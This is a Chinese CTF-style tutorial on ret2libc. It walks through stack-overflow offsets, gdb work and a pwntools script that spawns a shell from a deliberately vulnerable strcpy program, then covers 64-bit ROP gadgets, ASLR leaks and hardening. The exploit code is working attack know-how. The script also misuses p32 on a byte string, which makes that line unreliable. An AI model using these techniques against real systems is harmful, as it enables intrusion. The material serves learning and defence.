☰
ret2libc实战:从栈溢出到绕过NX的完整利用指南
2026/10/21 8:18:17 网站建设 项目流程

栈溢出是二进制安全里最经典的基础课题,而ret2libc又是绕过现代防护手段(NX)的核心套路。这篇文章我结合自己调漏洞的经验,从栈布局、编译参数、gdb调试到payload构造一步步拆解,并整理了实操中的常见坑。适合刚入门pwn、准备CTF比赛,或者想搞清楚缓冲区溢出攻击与防御原理的朋友参考。

1. 先搞明白:为什么栈溢出会产生漏洞

1.1 程序是怎么使用栈内存的

进程运行时的栈,本质是一块从高地址向低地址增长的内存区域。每次函数调用,栈上会开辟一段空间叫栈帧,里面保存着局部变量、参数、寄存器现场等。最关键的是,在函数入口时,会把执行完函数的返回地址压入栈中。当函数执行到ret指令时,CPU会从栈顶弹出这个返回地址,然后跳转过去继续执行。

问题出在“复制数据”这一步。如果程序把用户的输入拷贝到栈上的局部缓冲区时,没有检查长度,输入内容就会越过缓冲区边界,一路覆盖到缓冲区上方(高地址处)的内容,包括保存的返回地址。

从攻击者的视角看,只要计算出缓冲区起始位置到返回地址的偏移量,就能精确地把自己的数据写到返回地址的位置。当函数返回时,CPU会把栈上这个位置的数当作返回地址,跳到攻击者指定的内存地址去执行。这就是栈溢出漏洞的最基本利用模型。

1.2 ret2libc到底是怎么个思路

早期栈溢出的标准打法,是把shellcode(一段用来execve("/bin/sh")的机器码)直接放在缓冲区里,再把返回地址指向缓冲区起始地址,让CPU执行这段shellcode。但在现代系统里,这招基本失效了,因为时代变了。

现代操作系统和编译器引入了几个关键防护:

  • NX(No-eXecute):也叫DEP(数据执行保护)。栈内存被标记为“不可执行”,就算shellcode放在栈上,CPU执行时直接触发段错误。完成这个功能靠的是硬件上的NX/XD位,所以这是硬性检查,不是软件模拟能绕过的。
  • 栈保护(Stack Canary):编译器在局部变量区和返回地址之间放一个随机值,函数返回前检查它是否被改变。如果被覆盖,程序直接终止。
  • ASLR(地址空间布局随机化):每次程序运行时,动态链接库、栈、堆的地址都是随机的,攻击者无法在payload里硬编码某个函数的绝对地址。

ret2libc的思路就是不写shellcode,把返回地址改为libc库(动态链接库)中已有函数的地址。既然系统库代码本身就在可执行的内存区里,不存在栈不可执行的问题。你只需要控制函数返回时跳到system()函数去执行,并且安排好调用参数(让system()的第一个参数指向“/bin/sh”这个字符串),就能直接启动一个shell。整个过程不需要往代码段写任何机器码,所以NX就被完全绕过了。

注意:ret2libc只是绕过了NX。如果程序同时开启Canary(栈保护)和ASLR,利用门槛会明显提高,后面内容我会专门展开。

2. 环境搭建与工具链

2.1 实验环境的准备思路

不管你是学习还是打CTF,个人电脑上建议直接用Linux虚拟机。我用的是Ubuntu 20.04(内核比较主流,自带的glibc 2.31环境稳定,而且和大多数CTF靶机一致)。Windows上不太方便做,因为PE格式、调用约定、地址布局整体都和Linux下的ELF模型不同,处理起来更绕。

在开始实验前,关闭系统的ASLR是一个常见且必要的步骤,因为要保证每次运行时漏洞程序的关键地址不变,才能精准地构造payload。关闭方式(临时生效,重启会恢复):

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

如果要重新恢复,把这个位置写回2就行。这一步是实验的必备操作,否则libc基址每次改变,payload基本没法写死。

2.2 编译器选项与工具链

准备这些工具:

  • gcc:编译漏洞示例程序。
  • gdb:动态调试,用于观察栈布局、寄存器状态和内存。
  • pwntools:Python的二进制利用开发库,极大简化payload构造和本地调试流程,安装方式pip install pwntools。
  • checksec:查看二进制文件开启了哪些防护(checksec是pwntools自带的命令,也可以单独安装)。

一个典型的漏洞示例程序,我通常这样编译:

gcc -fno-stack-protector -no-pie -z execstack -m32 vuln.c -o vuln

等等,这里用了-z execstack,等于把栈设置成了可执行。那还要ret2libc干嘛?这个演示的是“关闭NX”的对照组。真实的ret2libc场景应该这样编译:

gcc -fno-stack-protector -no-pie vuln.c -o vuln
  • -fno-stack-protector:关闭canary栈保护。
  • -no-pie:关闭PIE(地址无关可执行文件),让程序本体的函数地址固定,方便定位。
  • 不加-z execstack:保持NX开启,这是ret2libc发挥作用的先决条件。

至于ASLR,实验阶段可以直接用上面的命令关闭;如果你想体验真实对抗,可以开启ASLR,然后想办法通过泄露地址来完成利用,这部分后面会在常见问题里讲。

2.3 示例程序:一段有漏洞的代码

我写了一个最经典的样例:

#include <stdio.h> #include <string.h> void vulnerable_func(char *input) { char buffer[64]; strcpy(buffer, input); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: %s <input>\n", argv[0]); return 1; } vulnerable_func(argv[1]); printf("Program returned normally\n"); return 0; }

这个程序把命令行参数直接strcpy进一个64字节的缓冲区。strcpy不检查目标缓冲区大小,输入一长就会溢出。表面看它只是个玩具,但实际漏洞代码(比如gets、sprintf、strcat、memcpy等函数的不安全用法)在真实世界里依然到处存在,本质一模一样。

编译完成后,先看一眼防护状态:

$ checksec --file=./vuln [*] '/home/test/pwn/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

关键信息就两条:栈上找不到canary(栈保护关了),NX已开启,需要走ret2libc路线。RELRO的Partial状态说明GOT表可读可写,但ret2libc常规打法用不太上这个特性,暂时不管它。

3. 从栈布局到偏移量的精确计算

3.1 栈帧到底长什么样

我把这段代码的汇编结构简化解释一下。vulnerable_func的函数入口会干这些事:

push ebp ; 保存旧栈底 mov ebp, esp ; 确立新栈底 sub esp, 0x50 ; 分配局部变量空间(64字节缓冲区+对齐填充)

调用后栈里从高地址到低地址依次是:旧的调用参数、函数的返回地址、保存的ebp值(上一帧栈底)、局部缓冲区。

缓冲区在栈的“低地址端”,也就是函数的栈顶方向(向低增长)。strcpy拷贝数据时从缓冲区的起始地址(低地址)往高地址写。一旦超出缓冲区大小,就会按“局部变量 -> 保存的ebp -> 返回地址”的顺序依次覆盖。

很多刚入门的朋友会算不清偏移:为什么缓冲区64字节,却要输入76字节才能覆盖返回地址?因为64字节缓冲区后面还有8字节的(声明的buffer实际占用+编译器的对齐填充)。用gdb一探究竟最直接。

3.2 用gdb精准确定偏移量

一种通用做法是用pwntools生成一串有特征的前缀定位:

from pwn import * context.log_level = 'error' # 生成特征字符串 payload = cyclic(200) with open('payload.txt', 'wb') as f: f.write(payload)

然后在gdb里运行:

gdb ./vuln (gdb) r $(cat payload.txt) Program received signal SIGSEGV, Segmentation fault. 0x62616164 in ?? ()

崩溃时,eip(32位下指向下一条指令)的值是0x62616164。用pwntools算出它对应偏移:

from pwn import * print(cyclic_find(0x62616164))

结果通常是76。也就是说,payload布局就是:76字节填充 + 4字节返回地址 + 4字节参数(或后续利用链)。这个数值直接决定了后续构造的所有长度位置。

提示:如果你用64位系统编译64位程序,布局会略有不同,返回地址占8字节,同时还要考虑movaps栈对齐问题,后面我会专门提。这里是32位,返回地址占4字节,计算更直观。

3.3 为什么是“地址跳转”而非“直接运行输入数据”

我见过不少人把ret2libc理解为“把shellcode写在输入里,跳到输入位置去执行”。这个理解不完全对。ret2libc是让程序跳到已经被操作系统加载到内存中的函数去执行,比如system函数。

关键点在于,代码段和数据段在CPU眼中身份不同。NX开启后,栈段是不可执行的(rw-权限),而libc库所在的动态加载内存区域是可读可执行的(r-xp权限)。所以我们要把CPU的“控制流指针”引导到libc的代码区,而不是栈区。

从这里也就能理解为什么payload里没有shellcode也能弹shell——你只是“借”了一段现成的代码(system函数)来跑,参数也是现成的("/bin/sh"字符串在libc里找,或者自己放到可读内存区)。

4. ret2libc完整利用流程

4.1 第一步:跑通一次最简单的进程操控

先确认一下libc的system函数地址和"/bin/sh"字符在内存中的地址。在关闭了ASLR的情况下,每个地址是固定的。32位链接的程序通常用的是libc动态库,地址范围一般在0xf7xxxxxx区域,具体取决于装载位置。

用gdb查看:

(gdb) p system $1 = {<text variable, no debug info>} 0xf7e4d060 <system> (gdb) p &system $2 = (<text variable, no debug info> *) 0xf7e4d060

关键是找到"/bin/sh"字符串的地址:

(gdb) find __libc_start_main, +99999999, "/bin/sh" 0xf7f5d097 warning: Unable to access ... 1 pattern found.

验证一下这是不是以/bin/sh开头的字符串:

(gdb) x/s 0xf7f5d097 0xf7f5d097: "/bin/sh"

地址搞到手了。但还有个细节:在32位程序里,函数调用的参数是通过栈传递的。system函数执行时,栈顶位置的第一个参数就是它拿到的arg1。所以构造payload时,需要确保在返回地址之后,紧跟一个“参数槽位”,写上"/bin/sh"的地址。payload结构为:

padding(76字节) + system_addr(4字节) + dummy(4字节) + binsh_addr(4字节)

等等,dummy是干嘛用的?这得从函数调用约定说起。

4.2 函数返回时栈上发生了什么

正常情况下call system指令会先把返回地址压栈,然后跳转。而我们的payload里没有真正的call指令,是函数执行ret指令时,CPU自动把system_addr当成了返回地址。我们跳到了system函数里,但system函数执行完,会认为自己是被call进来的,需要从栈上弹出它的返回地址。这个返回地址由我们控制,就是你填入的这4字节“dummy”。

也就是说,当system执行完毕后,CPU会去读dummy这个位置的数作为“返回地址”,跳过去。我们一般填一个无害的值(比如另一个正常函数的地址,或者干脆是main函数的地址),让程序崩溃也无妨,反正shell已经弹出来了。如果不填这个dummy,system会把"/bin/sh"当成返回地址,系统解析地址时就崩了,甚至可能还没执行到system内部就出问题。

所以完整的32位ret2libc payload其实是这样:

from pwn import * context.arch = 'i386' context.log_level = 'debug' p = process('./vuln') system_addr = 0xf7e4d060 binsh_addr = 0xf7f5d097 payload = b'A' * 76 # 填充到返回地址 payload += p32(system_addr) # 返回地址:跳转去执行system payload += p32(b'AAAA') # system函数执行完后的返回地址,随便填 payload += p32(binsh_addr) # system的参数:指向 "/bin/sh" p.sendline(payload) p.interactive()

运行后你会在终端看到一个shell,证明利用成功。

4.3 64位环境下的变化:参数怎么传

如果程序是64位,函数的参数传递规则完全不同:前6个参数放在rdi、rsi、rdx、rcx、r8、r9寄存器里。所以调用system("/bin/sh")的关键,是在ret跳转到system之前,先把rdi寄存器设置成"/bin/sh"的地址。

这个“设置寄存器”的活儿靠的是gadget——就是libc或程序代码里一些现成的指令片段。最常用的是pop rdi; ret。它的执行过程是:CPU从栈顶弹出一个值放到rdi寄存器,然后执行ret。只要我们控制的栈上紧挨着这个gadget地址的位置放好"/bin/sh"地址,pop rdi; ret就会把"/bin/sh"地址送入rdi,然后跳转到我们指定的下一条(system)。

所以64位payload长这样:

padding(偏移字节) + pop_rdi_ret_addr(8字节) + binsh_addr(8字节) + system_addr(8字节)

注意这里pop rdi; ret对这个gadget来说,需要它在栈上的位置就是binsh_addr,它会执行pop rdi,把binsh_addr放进rdi,然后ret,从栈上弹出system_addr作为返回地址,跳进去执行。此时rdi已经是"/bin/sh",system调用的参数条件就满足了。

在真实题目里,pop rdi; ret这种gadget可能要从libc里用ROPgadget或者ropper搜,比如ROPgadget --binary ./vuln | grep "pop rdi"。如果程序本身里就存在,当然用程序里的gadget更稳,但通常需要借助libc里的。

4.4 地址泄漏:当ASLR开启以后

现实中ASLR是开启的,上面这段payload里的system地址和binsh地址就不能写死。解决办法是先利用程序的某些泄露点拿到libc的实际加载地址,再换算。

假设程序里有一个printf函数,它会把某个地址处的字符串打印出来。如果存在“格式化字符串漏洞”或者“栈上残留的指针被printf打印”,那你就能泄露一个libc内函数的真实地址,比如__libc_start_main的地址。得到这个地址后,用这个公式算出基址:

libc_base = leaked_addr - libc.symbols['__libc_start_main'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

这里的libc.symbols是从libc.so文件里读取的符号偏移。前提是你知道目标服务器用的libc版本。CTF里常用libc-database之类的工具比对泄漏地址来判断版本。

我实际调试时,推荐逐步来:先在不开启ASLR的环境下把利用链跑通,再开启ASLR尝试加入地址泄露步骤,每加一个环节就用gdb验证一处。别指望一次把两步都写对,容易出问题。

5. 实操中常见问题与排查记录

5.1 偏移量算错了,程序不是崩溃就是找不到地址

我见过最多的新手错误是偏移量算错,多一个字节少一个字节,返回地址覆盖不准。建议一定用cyclic方式先在gdb里精确确定偏移,不要自己去“数”字节。

还有一个坑是缓冲区大小和栈帧对齐。编译器在分配局部变量时,可能会因为-mpreferred-stack-boundary或优化选项不同,导致缓冲区实际占用的栈空间比你声明的大或小。比如声明char buffer[64],配合sub esp, 0x50这类指令,实际上给你的空间是80字节,那么从buffer起始到返回地址就是76(64+8+4),不是64。所以,用gdb实测永远比肉眼可靠。

5.2 64位下遇到movaps的对齐段错误

这是64位ret2libc的一个经典问题。你构造的payload看起来逻辑完全正确,最终跳到了system,但是一执行就崩在movaps指令上。原因在于System V AMD64 ABI要求call进入函数时,栈指针(RSP)按16字节对齐。如果进入system时RSP没有对齐,它在内部使用movaps(要求操作数地址16字节对齐)操作栈时就会触发段错误。

解决方法是在payload里额外加一个retgadget,让栈指针额外弹出8字节,把对齐问题解决。payload从:

padding + pop_rdi_ret + binsh + system

变成:

padding + ret_gadget + pop_rdi_ret + binsh + system

这个技巧在本地和CTF里都非常常见,值得记在笔记里。

5.3system调用到底能不能弹shell

经常有人在本地实验时发现,system("/bin/sh")执行了,但程序卡住或直接退出了。一个原因是system会调用shell来执行命令,这个shell需要和输入输出流交互。如果你用的是process('./vuln'),交互要正确调用sendline和interactive()。如果你在gdb里直接跑payload,shell环境变化可能导致交互中断,这也是建议用脚本而不是手搓输入的原因。

另一个坑是system函数内部会fork一个子进程来跑shell,如果父进程环境里有些信号处理异常,子进程可能出现问题。多数情况下这不是利用链的问题,是工具调试环境的问题,换成pwntools脚本运行基本就能解决。

5.4 如何快速判断这个程序能不能用ret2libc

我建议拿到程序先用一个检查清单:

  1. checksec查看是否NX开启、Canary有无、PIE是否开启。
  2. 能否通过某个输入点造成栈溢出(用cyclic+fuzzing直接试)。
  3. 偏移量是多少。
  4. 程序是32位还是64位,决定利用链写法。
  5. ASLR是否开启,如果开启,找可利用的泄露点。

如果Canary开启且不知道先导的泄露方式,ret2libc这条路就被堵死了,需要先考虑泄露canary,或者找别的路线。如果PIE开启状态且没有泄露点,那程序基址都不确定,ret2libc会更困难,通常还得叠加地址泄露。总之ret2libc不是万能,它只是绕NX这“一环”的工具。

5.5 调试技巧:用gdb在关键指令前下断点

实操中我喜欢在gdb里这样验证payload:

(gdb) b *system (gdb) r < payload_file (gdb) x/5wx $esp # 32位下看栈上内容

如果能看到栈顶参数是"/bin/sh"的地址,那这一步基本就成功了一大半。这个习惯帮我避开了很多无法解释的“玄学崩溃”——大多数所谓玄学,本质是某个寄存器或栈上参数没摆对。

6. 关于防御:怎么堵住ret2libc这条路

讲了这么多利用细节,最后得回到防御。我平时做代码审计和安全加固时,评估一个程序是否容易被ret2libc攻击,主要看三点:

源头杜绝漏洞。strcpy、sprintf、gets这类不检查长度的函数尽量替换成strncpy、snprintf、fgets。边界检查不只是加个if,还得注意目标缓冲区到底有多大,别用错尺寸。

打开编译器的防护开关。默认情况下没有特殊配置的编译器其实已经开启部分防护,但很多开发环境会因为历史兼容原因关掉这些选项。正确的生产编译应该确保:

gcc -fstack-protector-all -z noexecstack -pie -Wl,-z,relro,-z,now

这样同时开了canary、NX、PIE、RELRO。尤其是RELRO的full模式,还能把GOT表改成只读,防止另一路“GOT覆写”的攻击。

运行时保持ASLR开启。有些运维为了调试方便,会关闭ASLR,这是很危险的习惯。在真实的服务上,一旦ASLR被关闭,攻击者可以把libc地址写得非常稳,利用难度直线下降,几乎等于亲手送上一血。

最后想分享一个小技巧:在你调试这类漏洞时,core dump是一个非常好用的排错工具。程序崩溃后会留下core文件,用gdb加载core直接能看到崩溃时的栈和寄存器状态:

ulimit -c unlimited ./vuln $(python2 -c 'print "A"*100') gdb ./vuln core

这个方法在生产排障和漏洞研究里都管用,省去反复重新运行的痛苦。第一次接触栈溢出的人,我建议一定要自己动手编译一份示例代码,配合gdb一步步跟进去看栈的变化,而不是光看文章。地址布局这种东西,你跟进一次x/40wx $esp的循环,比看十篇文章都管用。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询